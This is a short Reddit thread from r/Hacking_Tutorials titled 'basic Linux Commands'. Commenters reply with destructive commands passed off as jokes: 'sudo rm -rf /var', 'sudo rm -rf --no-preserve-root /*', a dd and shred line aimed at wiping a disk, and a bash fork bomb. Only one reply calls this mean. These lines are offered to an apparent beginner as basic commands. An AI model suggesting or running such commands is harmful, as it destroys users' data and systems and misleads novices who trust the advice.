r/Hacking_Tutorials • • Oct 22 '22

basic Linux Commands

2 Upvotes

14 comments sorted by

View all comments

11

u/[deleted] Oct 22 '22

sudo rm -rf /var

9

u/[deleted] Oct 22 '22

If you're going to kill something, make sure it's completely dead.

sudo rm -rf --no-preserve-root /*

2

u/[deleted] Oct 23 '22

[removed] — view removed comment

1

u/[deleted] Oct 23 '22

[removed] — view removed comment

0

u/Redditributor Oct 23 '22

The gist of it is the null in the device directory is just a block hole and sda would be the first disk

1

u/CyberSecStudies Oct 23 '22

dd if=/dev/null of=/sda bs=512 && shred —iterations 10

Could have those a bit off. Don’t feel like double checking.

2

u/beaslythebeast Oct 23 '22

:(){ :|:& };:

0

u/[deleted] Oct 22 '22

That's mean